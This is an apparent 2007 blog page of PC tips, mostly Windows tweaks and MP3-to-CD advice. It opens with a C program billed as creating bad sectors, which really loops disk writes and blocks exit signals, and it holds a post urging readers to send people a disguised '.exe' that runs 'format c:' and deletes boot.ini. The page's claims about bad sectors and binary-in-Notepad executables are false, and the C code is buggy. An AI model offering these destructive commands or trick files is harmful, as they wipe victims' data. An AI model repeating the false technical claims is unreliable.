Monday, October 22, 2007

Create BAD sectors on HDD

This program will create BAD Sectors on HDD. (Use at your own risk) #include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */

Change DOS Colour

SYNTAX Sets the default console foreground and background colors.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.

Speed Up XP Booting

Start Registry Editor (Regedit.exe).

Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters

Make sure you backup the keys by exporting them to a .reg file.

On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

Close the registry editor.

Restart your computer.

Change Text on XP Start button

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Disable or Remove Shutdown

It is Possible to Remove Shut Down option from Start menu. Just follow the following steps. Start->Run->gpedit.msc->User Configuration->Administrative Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable. Its Done!

Format HDD using Notepad

Copy & Paste the following code in Notepad. 0100101100011111001001010101010101000 0011111100000 Save As "format.exe" or any name u want (but with extension.exe) Now you can send this .exe file to people to format their HDD It can fail to format your HDD while running WINDOWS.
Format c:\ /Q/X -- this will format your drive c:\ 011001100110111101110010011011010110000 10111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 Format d:\ /Q/X -- this will format your drive d:\ 011001100110111101110010011011010110000 10111010000 100000011001000011101001011100 0010000000101111010100010010111101011000
Format a:\ /Q/X -- this will format your drive a:\
0110011001101111011100100110110101100 0010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this will STOP your computer from booting.
011001000110010101101100001000000010 11110100011000 101111010100110010111101010001 001000000110001100111010010111000110 00100110111101 101111011101000010111001101001 0110111001101001

Tuesday, October 2, 2007

How to Convert MP3 to CD

How to Convert MP3's to CD
MP3 audio has been compressed to about one-tenth of the original "wav" file from whence it came. In order for the MP3 songs you have downloaded from the Internet to be recorded onto an Audio Compatible CD, (that is to say - a CD that can be played in most any cd player like the one in your car), the MP3 files must be un-compressed and converted into 16Bit 44.1kHz WAV files. A software MP3-to-WAV conversion utility is called a "decoder".

The CD recording software that comes included with new cd burners may or may not have a "MP3-to-Wav Decoder" in its toolbox.

One exception is Nero 5.5 Burning ROM software from Ahead Software. Nero can decode mp3's to wav on-the-fly in real time, eliminating the extra step, a nice time-saver and space saver!

Another terrific new software is Dart CD Recorder 4.1
Download a full-functioning demo of the new version of Dart CD Recorder 4.1